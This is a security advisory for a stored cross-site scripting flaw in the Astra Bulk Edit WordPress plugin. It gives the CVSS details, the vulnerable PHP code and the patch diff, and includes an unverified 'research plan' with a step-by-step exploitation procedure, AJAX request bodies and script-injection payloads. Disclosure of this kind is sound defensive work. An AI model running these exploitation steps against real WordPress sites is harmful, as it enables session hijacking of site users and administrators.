CVE-2026-32431

Astra Bulk Edit <= 1.2.10 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.2.11
Patched in
46d
Time to patch

Description

The Astra Bulk Edit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.10
PublishedMarch 1, 2026
Last updatedApril 15, 2026
Affected pluginastra-bulk-edit

What Changed in the Fix

Changes introduced in v1.2.11

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Analysis: CVE-2026-32431 - Astra Bulk Edit Stored XSS ## 1. Vulnerability Summary The **Astra Bulk Edit** plugin (versions <= 1.2.10) contains a stored cross-site scripting (XSS) vulnerability. The issue stems from the plugin's failure to sanitize and escape Astra-specific meta sett…

Show full research plan

Vulnerability Analysis: CVE-2026-32431 - Astra Bulk Edit Stored XSS

1. Vulnerability Summary

The Astra Bulk Edit plugin (versions <= 1.2.10) contains a stored cross-site scripting (XSS) vulnerability. The issue stems from the plugin's failure to sanitize and escape Astra-specific meta settings when they are updated through the WordPress Bulk Edit or Quick Edit interfaces. Specifically, the Astra_Blk_Meta_Boxes_Bulk_Edit class defines several meta options with FILTER_DEFAULT (effectively no sanitization) and stores them directly in the database. When the Astra theme renders these meta values on the frontend (e.g., breadcrumb settings or header displays), it does so without sufficient output escaping, allowing an authenticated attacker with Contributor-level permissions to execute arbitrary JavaScript in the context of other users' sessions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: astra_save_post_bulk_edit
  • Vulnerable Parameters: Any of the meta keys defined in setup_bulk_options(), such as ast-breadcrumbs-content, ast-main-header-display, or site-sidebar-layout.
  • Authentication: Contributor or higher. Contributors can typically only bulk-edit their own posts, but the stored payload will execute for any user (including Administrators) viewing the affected post.
  • Precondition: The Astra theme must be installed and active. The plugin explicitly exits if get_template() does not return 'astra'.

3. Code Flow

  1. Entry Point: The AJAX action astra_save_post_bulk_edit is registered in the constructor of classes/class-astra-blk-meta-boxes-bulk-edit.php.
  2. Nonce Verification: The handler save_post_bulk_edit() calls check_ajax_referer( 'astra-blk-nonce', 'astra_nonce' ).
  3. Meta Definition: setup_bulk_options() defines a list of settings (e.g., ast-breadcrumbs-content) and assigns them 'sanitize' => 'FILTER_DEFAULT'.
  4. Processing (inferred from save_meta_box logic): The handler iterates through the provided post IDs and the self::$meta_option array.
  5. Insecure Sanitization: The code uses filter_input( INPUT_POST, $key, FILTER_DEFAULT ). Since FILTER_DEFAULT is used, the raw string (including <script> tags) is retrieved.
  6. Storage: The unsanitized value is saved to the database using update_post_meta( $post_id, $key, $meta_value ).
  7. Sink: When the post is rendered on the frontend, the Astra theme retrieves these meta values (e.g., to decide how to display breadcrumbs) and echoes them into the HTML source without esc_html() or esc_attr().

4. Nonce Acquisition Strategy

The nonce astra-blk-nonce is required for the AJAX request. It is localized for the bulk edit script used in the post list table.

  1. Prerequisite: Create a post as the Contributor user first.
  2. Navigate: Use browser_navigate to wp-admin/edit.php (the post list page).
  3. Extraction: The plugin localizes the nonce into a global JavaScript object. Based on Astra plugin conventions, the script handle is astra-bulk-edit-js.
  4. Execution: Use browser_eval to extract the nonce:
    window.astra_bulk_edit?.nonce
    
    If that is not found, search the page source for "nonce" within the astra_bulk_edit object.

5. Exploitation Strategy

Step 1: Create a Post

Use WP-CLI to create a post authored by the contributor.

wp post create --post_type=post --post_status=publish --post_title="XSS Test Post" --post_author=[CONTRIBUTOR_ID]

Step 2: Extract Nonce

Log in as the contributor and navigate to the post list.

  • Tool: browser_navigate to http://[TARGET]/wp-admin/edit.php
  • Tool: browser_eval("astra_bulk_edit.nonce") to get the nonce.

Step 3: Trigger AJAX Update

Send the malicious request to inject the XSS payload into a meta field.

  • Endpoint: http://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=astra_save_post_bulk_edit
    &astra_nonce=[EXTRACTED_NONCE]
    &post[]=[POST_ID]
    &ast-breadcrumbs-content=<script>alert(document.domain)</script>
    

Step 4: Trigger Execution

Navigate to the frontend view of the post.

  • URL: http://[TARGET]/?p=[POST_ID]

6. Test Data Setup

  1. Theme: Activate Astra Theme.
    wp theme install astra --activate
  2. User: Create a Contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Post: Create a post for the attacker.
    wp post create --post_type=post --post_title="Innocent Post" --post_author=attacker --post_status=publish
  4. Identify Meta Key: Use ast-breadcrumbs-content as the primary injection target.

7. Expected Results

  • The AJAX request should return a JSON success response (e.g., {"success":true}).
  • The database should reflect the malicious value in the wp_postmeta table.
  • Upon visiting the post, the browser should execute alert(document.domain).

8. Verification Steps

  1. Database Check: Verify the meta value is stored raw.
    wp post meta get [POST_ID] ast-breadcrumbs-content
    
    Expected: <script>alert(document.domain)</script>
  2. HTML Source Check: Use http_request to fetch the post page and grep for the payload.
    # Use the agent's http_request tool
    # Check if the payload appears unescaped in the response body
    

9. Alternative Approaches

If ast-breadcrumbs-content does not trigger on the frontend due to site settings, try other meta keys defined in setup_bulk_options():

  • ast-main-header-display: Often used in class names or attributes. Payload: "><script>alert(1)</script>
  • site-sidebar-layout: Often used in body classes.
  • site-content-layout: Often used in wrapper div classes.

If the AJAX endpoint fails, attempt to exploit the save_meta_box hook directly via a standard post update (wp-admin/post.php) using the astra_settings_bulk_meta_box nonce, which is also insecurely handled in the save_meta_box( $post_id ) function.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Astra Bulk Edit plugin for WordPress (versions <= 1.2.10) is vulnerable to Stored Cross-Site Scripting because it fails to sanitize and escape Astra-specific meta settings when they are updated through the Bulk Edit or Quick Edit interfaces. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into meta fields like breadcrumb settings, which execute in the context of any user viewing the affected page or admin dashboard.

Vulnerable Code

// classes/class-astra-blk-meta-boxes-bulk-edit.php
// Lines 110-185 (setup_bulk_options method defining insecure sanitization filters)
	self::$meta_option = apply_filters(
		'astra_meta_box_bulk_edit_options',
		array(
			'ast-above-header-display'      => array(
				'default'  => 'no-change',
				'sanitize' => 'FILTER_DEFAULT',
			),
			'ast-main-header-display'       => array(
				'default'  => 'no-change',
				'sanitize' => 'FILTER_DEFAULT',
			),
      // ... (other fields) ...
			'ast-breadcrumbs-content'       => array(
				'default'  => 'no-change',
				'sanitize' => 'FILTER_DEFAULT',
			),
		)
	);

---

// classes/class-astra-blk-meta-boxes-bulk-edit.php
// Lines 239-247 (save_meta_box method storing unsanitized meta values)
					default:
							$meta_value = filter_input( INPUT_POST, $key, FILTER_DEFAULT );
						break;
				}

				// Store values.
				if ( 'no-change' !== $meta_value ) {
					update_post_meta( $post_id, $key, $meta_value );
				}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.10/astra-bulk-edit.php /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.11/astra-bulk-edit.php
--- /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.10/astra-bulk-edit.php	2024-04-01 08:27:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.11/astra-bulk-edit.php	2026-02-26 04:50:02.000000000 +0000
@@ -3,7 +3,7 @@
  * Plugin Name: Astra Bulk Edit
  * Plugin URI:  http://www.wpastra.com/pro/
  * Description: Easier way to edit Astra meta options in bulk.
- * Version: 1.2.10
+ * Version: 1.2.11
  * Author: Brainstorm Force
  * Author URI: https://www.brainstormforce.com
  * Domain Path: /languages
@@ -19,7 +19,7 @@
 /**
  * Set constants.
  */
-define( 'ASTRA_BLK_VER', '1.2.10' );
+define( 'ASTRA_BLK_VER', '1.2.11' );
 define( 'ASTRA_BLK_FILE', __FILE__ );
 define( 'ASTRA_BLK_BASE', plugin_basename( ASTRA_BLK_FILE ) );
 define( 'ASTRA_BLK_DIR', plugin_dir_path( ASTRA_BLK_FILE ) );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.10/classes/class-astra-blk-meta-boxes-bulk-edit.php /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.11/classes/class-astra-blk-meta-boxes-bulk-edit.php
--- /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.10/classes/class-astra-blk-meta-boxes-bulk-edit.php	2024-04-01 08:27:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/astra-bulk-edit/1.2.11/classes/class-astra-blk-meta-boxes-bulk-edit.php	2026-02-26 04:50:02.000000000 +0000
@@ -229,10 +229,6 @@
 
 				switch ( $sanitize_filter ) {
 
-					case 'FILTER_SANITIZE_STRING':
-							$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_STRING );
-						break;
-
 					case 'FILTER_SANITIZE_URL':
 							$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_URL );
 						break;
@@ -241,14 +237,15 @@
 							$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_NUMBER_INT );
 						break;
 
+					case 'FILTER_SANITIZE_STRING':
 					default:
-							$meta_value = filter_input( INPUT_POST, $key, FILTER_DEFAULT );
+							$meta_value = isset( $_POST[ $key ] ) ? sanitize_text_field( wp_unslash( $_POST[ $key ] ) ) : '';
 						break;
 				}
 
 				// Store values.
 				if ( 'no-change' !== $meta_value ) {
-					update_post_meta( $post_id, $key, $meta_value );
+					update_post_meta( $post_id, $key, sanitize_text_field( $meta_value ) );
 				}
 			}
 
@@ -263,8 +260,8 @@
 				wp_send_json_error( esc_html__( 'Action failed. Invalid Security Nonce.', 'astra-bulk-edit' ) );
 			}
 
-			$post_ids = ! empty( $_POST['post'] ) ? $_POST['post'] : array();
-			if ( ! empty( $post_ids ) && is_array( $post_ids ) ) {
+			$post_ids = ! empty( $_POST['post'] ) ? array_map( 'absint', (array) $_POST['post'] ) : array();
+			if ( ! empty( $post_ids ) ) {
 
 				/**
 				 * Get meta options
@@ -280,10 +277,6 @@
 
 							switch ( $sanitize_filter ) {
 
-								case 'FILTER_SANITIZE_STRING':
-										$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_STRING );
-									break;
-
 								case 'FILTER_SANITIZE_URL':
 										$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_URL );
 									break;
@@ -292,14 +285,15 @@
 										$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_NUMBER_INT );
 									break;
 
+								case 'FILTER_SANITIZE_STRING':
 								default:
-										$meta_value = filter_input( INPUT_POST, $key, FILTER_DEFAULT );
+										$meta_value = isset( $_POST[ $key ] ) ? sanitize_text_field( wp_unslash( $_POST[ $key ] ) ) : '';
 									break;
 							}
 
 							// Store values.
 							if ( 'no-change' !== $meta_value ) {
-								update_post_meta( $post_id, $key, $meta_value );
+								update_post_meta( $post_id, $key, sanitize_text_field( $meta_value ) );
 							}
 						}
 					}
@@ -366,11 +360,11 @@
 						$default_value = $meta[ $key ]['default'];
 					}
 
-					$html .= $default_value;
+					$html .= esc_html( $default_value );
 					$html .= '</div>';
 				}
 
-				echo $html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+				echo $html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- All dynamic values escaped above with esc_html/esc_attr.

Exploit Outline

The exploit involves an authenticated attacker with Contributor or higher permissions targeting the Astra Bulk Edit AJAX endpoint. 1. First, the attacker creates a standard post or selects an existing one they have permission to edit. 2. The attacker navigates to the WordPress post list table (wp-admin/edit.php) and extracts the 'astra-blk-nonce' security nonce from the global JavaScript object 'astra_bulk_edit'. 3. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'astra_save_post_bulk_edit'. 4. The request payload includes the post ID(s) and a malicious script (e.g., <script>alert(1)</script>) mapped to one of the vulnerable Astra meta keys, such as 'ast-breadcrumbs-content'. 5. Because the plugin uses FILTER_DEFAULT, the raw script is saved to the database. 6. The payload executes when an administrator views the post list in the backend or when any user visits the frontend page where the Astra theme renders the meta value.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.